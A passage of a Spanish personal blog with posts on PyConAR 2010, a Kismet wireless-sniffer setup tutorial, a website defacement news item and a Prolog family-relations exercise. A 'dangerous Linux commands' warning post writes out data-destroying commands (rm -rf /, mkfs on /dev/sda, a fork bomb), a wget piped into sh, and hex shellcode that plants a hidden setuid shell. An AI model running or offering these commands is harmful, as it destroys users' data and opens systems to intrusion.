Ayer y antes de ayer ( Viernes y sábado) a una cuadra de mi depto (si, tuve mucha suerte) se hizo este año la PyConAR 2010… y obviamente hice un agujero en cualquier cosa que podría llegar a aparecer para ir..

Las charlas realmente estuvieron buenas, diversos gustos, diversos temas.

La gente, lo más, como bien dice Marcos Sponton : Lo que más me gusta de Python, es su comunidad.. Y eso que ya el lenguaje por sí es exquisito..

PyConAR 2010 me dejó un sabor dulce en la boca, pero la mayor alegría fueron las charlas que se dieron luego en un restobar(Facundo Batista saco fotos, cuando las suba las posteo) del centro al cual fuimos, creo que las experiencias son inigualables e inexplicables.

Esto ya parece un diario, así que para romper el hielo, mando un saludo a Facundo Batista (estaría genial que llegue a leer esto :P ) y dejo un par de fotos de los dos días..

Leah Culver

Roberto Alsina !

Dx, uno de los programadores de emesene, hablando de qtile

Daniel Moisset hablando sobre La Guerra de los Tipos

DIOS, eh digo.. J0hn Lenton.

Mariano Guerra (izq) y Diego Sarmentero(der)

Se nos quema el rancho.. :P Y yo de fondo muy chiquito..

Los chicos de NINJA-IDE presentando su afiche.. Proyecto interesante ;)

Todas las fotos de los dos días subidas por un oyente:

http://picasaweb.google.com/copybin/Pycon2010Dia1#

http://picasaweb.google.com/copybin/Pycon2010Dia2#

 

Bueno, hoy le toco la hora a Kismet, wikipedia lo define como:

Kismet es un sniffer, un husmeador de paquetes, y un sistema de detección de intrusiones para redes inalámbricas 802.11. Kismet funciona con cualquier tarjeta inalámbrica que soporte el modo de monitorización raw, y puede rastrear tráfico 802.11b, 802.11a y 802.11g. El programa corre bajo Linux, FreeBSD, NetBSD, OpenBSD, y Mac OS X. El cliente puede también funcionar en Windows, aunque la única fuente entrante de paquetes compatible es otra sonda.

Asi que de más está decir que lo que todo lo aprendido es con fines didácticos y de aprendizaje sin fines de perjudicar ningun sistema o red… ;)

Desde ya un tiempo, trabajo solo bajo linux, asi que vamos a excluir a los usuarios de windows de este tutorial..(basemonos en que estamos en alguna distribución en base a debian como ubuntu o el mismisimo debian )

La instalación va a ser simple, con privilegios de root (logueando con “su” o anteponiendo el prefijo “sudo” al comando) hacemos lo siguiente:

instalar en debian:
# apt-get install kismet

instalar en ubuntu:
$ sudo apt-get install kismet

Una vez instalado, kismet no viene configurado, por ende vamos a tener que modificar el archivo que se encuentra en /etc/kismet llamado kismet.conf ; supongamos que editamos visualmente con gedit:

en debian:
# gedit /etc/kismet/kismet.conf

De ahora en más, ultimo ejemplo en ubuntu, simplemente anticipan con el comando “sudo” para dar privilegios de root al comando que le sigue..:
$ sudo gedit /etc/kismet/kismet.conf

y debemos modificar puntualmente 2 lineas:

1) Donde diga “suiduser=” debemos escribir luego del “=” nuestro nombre de usuario en linux(borrar el “#” al principio de la linea si es que aparece, eso significaría que la linea está comentada..), ejemplo:
suiduser=mariano

2) Donde aparece “source=XX,XX,XX” (donde X puede ser cualquier cosa..) modificar por algo del estilo:
source=ipw2200,wlan0,ipw2200
#Donde wlan0 es la interface donde queremos usar.. ej: wlan1, wlan0, eth0, eth1, etc...

Luego de esto, debemos poner en modo monitor nuestra interface, SUPONGAMOS QUE ESTAMOS TRABAJANDO CON wlan0 : (cada salto de linea es un enter, un comando nuevo para dar:)
# ifconfig wlan0 down
# iwconfig wlan0 mode manager
# ifconfig wlan0 up

Una vez hecho esto, podriamos ir a una consola, loguearnos como root y correr el comando kismet:
# kismet

Y luego de esto, en teoría, deberia arrancar correctamente:

Click en la imagen o aqui para agrandar

Pantallazo-root@mariano: -home-mariano

Por una razón obvia de aprendizaje, no borro ningún dato de la imagen.. ;-)

Y bueno, ya aquí es pura imaginación suya lo que pueden averiguar, investigar sobre SUS REDES, para MEJORAR LA SEGURIDAD… :)

Ahora bien, ya lo tenemos, pero no nos familiarizamos con el uso de Kismet, bueno, no quiero extender tanto esto, asi que voy a dejar buenos links donde se detalla el significado de cada sigla, teclas de acceso, etc…

Aunque mi ayuda preferida es, que si no saben que apretar, apreten la “h” donde les lista todo, en inglés…

Webs de mayor información específica de Kismet:

http://www.elhacker.net/manual_hacking_wireless_en_linux.htm ==> Utilización de kismet como etapa de un proceso.. :P .

http://hwagm.elhacker.net/ipw2200/ipw2200-inyeccion-linux.htm ==> Primero explica como instalar ubuntu (x_X) pero al final da especificaciones sobre la instalación de Kismet.

http://hwagm.elhacker.net/htm/kismet.htm ==> Kismet a profundidad, creo que el mejor de los links para familiarizarse con el programa.

—–

Esto es todo por ahora sobre kismet, queda pendiente para próximos posts, hablar sobre tcpdump (comando), wireshark(gui para linux que utiliza tcpdump) y el paquete aircrack-ng !

Espero les interese lo escrito, no duden en preguntar cualquier detalle que tengan dudas o quieran profundizar… Éxitos.. HH

 

Esta lista esta hecha para aquellas personas que son nuevas en el mundo linux y deberían familiarizarse con estos términos para “no” usarlos en sus sistemas.. ¿Porqué no usarlos? porque perderías toda la información que tengas en la maquina.. Aunque no hay nada como probarlos previo backup y/o en maquina que no se utiliza :P

Los 7 comandos con sus respectivas consecuencias…

1) rm -rf /

Este comando fuerza la eliminación de todos los archivos en el directorio raiz..

Aquí un video para que lo entiendan.

2) char esp[] __attribute__ ((section(”.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

Esta es la versión hexadecimal del anterior..

3) mkfs.ext3 /dev/sda

Este reformatea todos los archivos del dispositivo que se menciona después de que el comando mkfs.

4) :( ){:|:&};: mi favorito..

Es la bomba logica mas corta.. conocida como bomba Fork.
Lo que hace es ejecutar una interminable cadena de procesos haciendo que se cuelgue cualquier maquina y hasta puede llegar a corromper varios archivos..

5) any_command > /dev/sda

Provoca que datos RAW sean escritos en un bloque del dispositivo, a veces provoca la pérdida de todos tus datos por abuso del sistema de ficheros.

6) wget http://some_untrusted_source -O- | sh

Shellscript.. lo que hace es descargar algo desde la ubicación mencionada y lo ejecuta.. típico caso de intrusión en sistemas linux.

7) mv /home/yourhomedirectory/* /dev/null

Mueve todos los archivos dentro del directorio home a un lugar que no existe, por lo que nunca los volves a ver..

No lo intenten en sus casas :D si es que quieres probar lo puedes hacer instalando alguna distro linux en virtualbox y sacarte las ganas..

Via | hardsoftgeek.com.ar

 

Para todos los nostalgicos del querido Family Game(personalmente tenia un Zonga..), un video de la mano del PES en agradecimiento a los famosos 8bits…

 

A pesar de que quienes dirigen el Gobierno De la Ciudad de Buenos Aires se manifestaron en contra del proyecto del impuestazo, un grupo autodenominado como KKR logró hackear el sitio de la Ciudad de Buenos Aires protestando contra el impuestazo tecnológico y pidiendo la despenalización de la marihuana.

“No es justo que cientos de gordos y cómodos diputados decidan el destino de miles de trabajadores, miles de familias y otros miles puestos de trabajo. Decimos NO al impuestazo tecnológico”.

Esa es la primera declaración que puede leerse en la página web del gobierno de la Ciudad, hackeada por un grupo denominado KKR, también conocido por voltear los sitios de Pepsi y Boca Juniors en el pasado, informó el portal Infobae.com.

La técnica utilizada fue la llamada Deface, que consiste en cambiar la apariencia visual del sitio atacado, y la página del gobierno porteño estaba, por el momento, inaccesible.

Luego de disparar consignas contra el Gobierno nacional, KKR señaló que el ataque “va dirigido a cada uno de los que votaron positivamente el proyecto” para aumentar los impuestos a diversos productos tecnológicos.

“Sabemos quiénes son, cómo piensan y a que partido pertenecen. Después no mendiguen credibilidad, personas como ustedes nos dan vergüenza. Títeres políticos tenían que ser”, señalan.

Agregan que la acción “es sólo un humilde mensaje, una simple demostración de cómo nos podemos expresar”, y luego llaman a otros “defacers” a sumarse y “que no quede un solo .gov.ar en pie. Si quieren guerra se la vamos a dar”.

Finalmente, los atacantes también reclaman la despenalización de la marihuana y firman: “– ARGENTINIAN JUACKERS – 3ktorce, f0urtruder, MurdeR, l0gin-root, panther-root, Deyabu r00lz, Emetrix, The Venom, EliNet, Ak3r, Inyección Xarnuz, p0ison-r00t, thanatos, StGZK, punker2bot y un (K) a las chicas : floop, dont.cool y MS.PROAlita te amo (L), – Latinoamerican Juankers– ysaludos pá el Komtec1/2.0 :P , N4ib4f, her0, JAmmz, Zer0 z0rg, Boer, 0×0c, nett0xic, pr0t0s, xianur0, Xtremo31, Harakiri y toda la banda && para TODOS los que nos conocen =)”.

fuente | redusers.com

 

Una vez más les digo, dejensé de renegar con windows, pasensé a linux ;) .

Inviertan tiempo en GNU/Linux que no van a tener que lidiar con este tipo de noticias…

Extraido de GenBeta:

¿Por cuanto tiempo podrá sobrevivir el pez Betta dentro de toda esa agua gris?

No, no hay ningún error en el título del post. Contra todo sentido común, Microsoft ha decidido llevar las limitaciones de la edición Starter de Windows a niveles nunca antes vistos. Ahora se nos impide cambiar el fondo de pantalla. El cuadro del Panel de Control donde se elige el wallpaper se ha suprimido (no aparece la opción “Personalizar” en el menú contextual del escritorio), y aún cuando seleccionamos una imagen desde el Windows Explorer con el botón derecho y clicamos en “establecer como fondo de escritorio” esta opción no funciona.

Lo peor de esto es que según cifras que maneja la misma Microsoft, más del 90% de los usuarios de Windows personalizan el escritorio cambiando el fondo de pantalla. Es decir, tienen datos empíricos sobre que es lo que los usuarios quieren (más personalización), y sacan una edición de Windows 7 que les ofrece exactamente lo contrario: la garantía de que todos los escritorios de Windows 7 Starter lucirán exactamente igual. Continue reading »

 

He encontrado navegando por ahi estos dos videos, procedentes de informes de TN hechos por Federico Wiemeyer, simplemente Espectaculares…

Creo que es el sueño de muchas personas que estudian lo mismo que yo… Vaya a saber cuantos lleguemos, y a cuantos se nos den oportunidades de este calibre…

En los títulos de cada parte dejo linkeado la web original por si quieren ver comentarios al respecto, valen la pena..

Parte 1

Parte 2

 

Bueno, el lunes fuí al primera clase de taller para introducción a los algoritmos y nos comentaron que vamos a empezar a pensar y renegar con programación lógica…

Fue ahí cuando nos nombraron PROLOG !! :P

Y de la serie de ejercicios que nos dieron para resolver ese día, el último era el que tenía ese gustito especial de “complicado” en la lista de ejercicios según Araceli(dra en algo seguro..).

Para el que quiera probar en linux, puede instalar desde su manejador de paquetes, el llamado “swipl” para bajar el intérprete de Prolog, luego vamos a alguna terminal, escribimos “swipl” o “pl” según versión y ya pueden comenzar a renegar con nosotros..

Y así fue como nos pusimos a resolver el problema…

El que quiera ponerse a leer lo que fue el primer taller, puede hacerlo desde: http://www.cs.famaf.unc.edu.ar/wiki/doku.php?id=introalg:taller09_1

El problema dice:

  1. Expresen en reglas las relaciones entre los miembros de la familia que describimos aquí mediante hechos:
mujer(pepa).
mujer(lucía).
mujer(blanca).
mujer(rosa).
mujer(alba).
mujer(inés).
mujer(irene).
hombre(armando).
hombre(julián).
hombre(esteban).
hombre(mario).
hombre(alejandro).
hombre(martín).
hombre(matías).
progenitor(pepa,lucía).
progenitor(pepa,blanca).
progenitor(pepa,mario).
progenitor(lucía,rosa).
progenitor(lucía,alba).
progenitor(blanca,inés).
progenitor(blanca,martín).
progenitor(irene,matías).
progenitor(armando,lucía).
progenitor(armando,blanca).
progenitor(armando,mario).
progenitor(julián,rosa).
progenitor(julián,alba).
progenitor(alejandro,inés).
progenitor(alejandro,martín).
progenitor(mario,matías).

Escriban reglas para expresar las relaciones: padre, madre, abuelo, abuela, hermano, hermana, tío, tía, primo, prima y también hijo único.

Y hasta ahora hemos resuelto todo, menos el que muestra a único Hijo Único, que es Matías si mal no recuerdo…

Nuestra resolución(para el que quiera ponerse a hacerlo y luego ver diferencias, etc) es:

padre(X,Y) :- hombre(X), progenitor(X,Y).
madre(X,Y) :- mujer(X), progenitor(X,Y).

abuelo(X,Y,Z) :- padre(X,Y), progenitor(Y,Z).
abuela(X,Y,Z) :- madre(X,Y), progenitor(Y,Z).

hermano(W,X,Y,Z) :- padre(W,Y), madre(X,Y), padre(W,Z), madre(X,Z), hombre(Y), Y\==Z.
hermana(W,X,Y,Z) :- padre(W,Y), madre(X,Y), padre(W,Z), madre(X,Z), mujer(Y), Y\==Z.

tio(X,Y) :- hermano(A,B,X,Z), progenitor(Z,Y).
tia(X,Y) :- hermana(A,B,X,Z), progenitor(Z,Y).

primo(A,B) :- padre(W,Y), madre(X,Y), padre(W,Z), madre(X,Z), progenitor(Y,A), progenitor(Z,B), hombre(A), padre(W,Y)\==padre(W,Z),madre(X,Y)\==madre(X,Z).
prima(A,B) :- padre(W,Y), madre(X,Y), padre(W,Z), madre(X,Z), progenitor(Y,A), progenitor(Z,B), mujer(A), padre(W,Y)\==padre(W,Z),madre(X,Y)\==madre(X,Z).

Obviamente se puede optimizar un poco…

Saludos a todos, a Alternaria.tv en especial, un excelente podcast que sigo de hace un buen rato, se los recomiendo… Es todo por hoy amigos..

 

Una de las cosas más geeks que he cruzado en mi vida por ahora.. :P

© 2011 Blog Suffusion theme by Sayontan Sinha